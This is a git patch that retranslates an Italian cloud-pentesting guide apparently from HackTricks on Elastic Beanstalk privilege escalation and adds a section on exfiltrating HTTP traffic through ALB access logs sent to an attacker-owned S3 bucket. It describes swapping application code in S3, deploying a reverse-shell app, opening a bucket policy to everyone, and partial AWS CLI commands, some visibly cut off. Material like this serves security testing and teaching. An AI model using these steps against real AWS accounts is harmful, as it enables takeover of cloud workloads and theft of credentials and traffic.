From d8c754b365749314c3138c37564b99d44d3f5747 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 May 2026 15:35:56 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-elastic-beanstalk-privesc/README.md | 103 ++++++++++++++++-- 1 file changed, 94 insertions(+), 9 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md index cd2f77278..041c5fc15 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md @@ -4,18 +4,18 @@ ## Elastic Beanstalk -Ulteriori **informazioni su Elastic Beanstalk** in: +Maggiori **info su Elastic Beanstalk** in: {{#ref}} ../../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} > [!WARNING] -> Per eseguire azioni sensibili in Beanstalk avrai bisogno di **molti permessi sensibili in molti servizi diversi**. Puoi controllare, per esempio, i permessi concessi a **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** +> Per eseguire azioni sensibili in Beanstalk dovrai avere **un gran numero di permessi sensibili in molti servizi diversi**. Puoi controllare ad esempio i permessi concessi a **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** -### `elasticbeanstalk:RebuildEnvironment`, permessi di scrittura su S3 e molti altri +### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others -Con **permessi di scrittura sul bucket S3** che contiene il **code** dell'ambiente e permessi per **ricostruire** l'applicazione (sono necessari `elasticbeanstalk:RebuildEnvironment` e alcuni altri relativi a `S3`, `EC2` e `Cloudformation`), puoi **modificare** il **code**, **ricostruire** l'app e, la volta successiva che accedi all'app, questa eseguirà il **tuo nuovo code**, permettendo all'attaccante di compromettere l'applicazione e le credenziali del ruolo IAM associate. +Con **write permissions sul bucket S3** che contiene il **code** dell'environment e i permessi per **rebuild** dell'applicazione (servono `elasticbeanstalk:RebuildEnvironment` e alcuni altri correlati a `S3` , `EC2` e `Cloudformation`), puoi **modificare** il **code**, **rebuildare** l'app e la prossima volta che accederai all'app essa **eseguirà il tuo nuovo code**, permettendo all'attaccante di compromettere l'applicazione e le credenziali del suo IAM role. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -32,9 +32,9 @@ aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` ### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more... -Quelle citate, insieme a diverse autorizzazioni **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** e **`elasticloadbalancing`**, sono necessarie per creare da zero uno scenario Elastic Beanstalk. +Le autorizzazioni menzionate, più diverse autorizzazioni **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** e **`elasticloadbalancing`**, sono necessarie per creare da zero uno scenario Elastic Beanstalk grezzo. -- Crea un'applicazione AWS Elastic Beanstalk: +- Create an AWS Elastic Beanstalk application: ```bash aws elasticbeanstalk create-application --application-name MyApp ``` @@ -44,7 +44,7 @@ aws elasticbeanstalk create-environment --application-name MyApp --environment-n ``` Se un ambiente è già stato creato e **non vuoi crearne uno nuovo**, puoi semplicemente **aggiornare** quello esistente. -- Comprimi il codice della tua applicazione e le dipendenze in un file ZIP: +- Impacchetta il codice della tua applicazione e le dipendenze in un file ZIP: ```python zip -r MyApp.zip . ``` @@ -62,7 +62,7 @@ aws elasticbeanstalk update-environment --environment-name MyEnv --version-label ``` ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -Per prima cosa devi creare un **legit Beanstalk environment** con il **code** che vorresti eseguire sulla **victim** seguendo i **previous steps**. Potenzialmente un semplice **zip** contenente questi **2 file**: +Prima di tutto devi creare un **Beanstalk environment** **legit** con il **code** che vuoi eseguire nella **victim** seguendo i **previous steps**. Potenzialmente un semplice **zip** contenente questi **2 files**: {{#tabs }} {{#tab name="application.py" }} @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -Una volta che hai **il tuo Beanstalk env in esecuzione** con la tua rev shell, è il momento di **migrarla** nell'**env** della **vittima**. Per farlo devi **aggiornare la Bucket Policy** del tuo bucket beanstalk S3 in modo che la **vittima possa accedervi** (Nota che questo **aprirà** il Bucket a **TUTTI**): +Una volta che hai **il tuo Beanstalk env in esecuzione** con la tua rev shell, è il momento di **migrare** nell'env delle **vittime**. Per farlo devi **aggiornare la Bucket Policy** del tuo bucket S3 di beanstalk in modo che la **vittima possa accedervi** (nota che questo **aprirà** il Bucket a **TUTTI**): ```json { "Version": "2008-10-17", @@ -162,4 +162,89 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. ``` +### `elasticbeanstalk:DescribeEnvironmentResources`, `elasticloadbalancing:ModifyLoadBalancerAttributes`, `s3:PutBucketPolicy`, `s3:ListBucket`, `s3:GetObject` per abilitare l’esfiltrazione dei log di accesso ALB + +Se un attacker può **enumerare** un ambiente Elastic Beanstalk **web**, **aggiornarlo**, e anche **controllare la policy di un bucket S3** che possiede, può essere in grado di **esfiltrare traffico HTTP** abilitando i **log di accesso ALB** e reindirizzandoli verso quel bucket. + +> [!NOTE] +> Questa tecnica richiede anche la capacità di **modificare la bucket policy di destinazione** così che il servizio di consegna dei log ALB possa scriverci. + +Prepara un **bucket controllato dall’attacker** in modo che il servizio di consegna dei log ALB possa scriverci: +```bash +ENV_NAME= +LOG_BUCKET= +LOG_PREFIX= +cat > /tmp/alb-log-policy.json <`** se i dati sensibili vengono inviati nell'URL. + +**Impatto**: + +- Esfiltrazione continua dei metadati delle richieste HTTP attraverso un piano di logging controllato dall'attaccante +- Esposizione di secret presenti nella query string dell'URL +- Un percorso di esfiltrazione più stealth perché il traffico è prodotto da componenti applicativi legittimi ed esportato dal logging gestito da AWS + {{#include ../../../../banners/hacktricks-training.md}}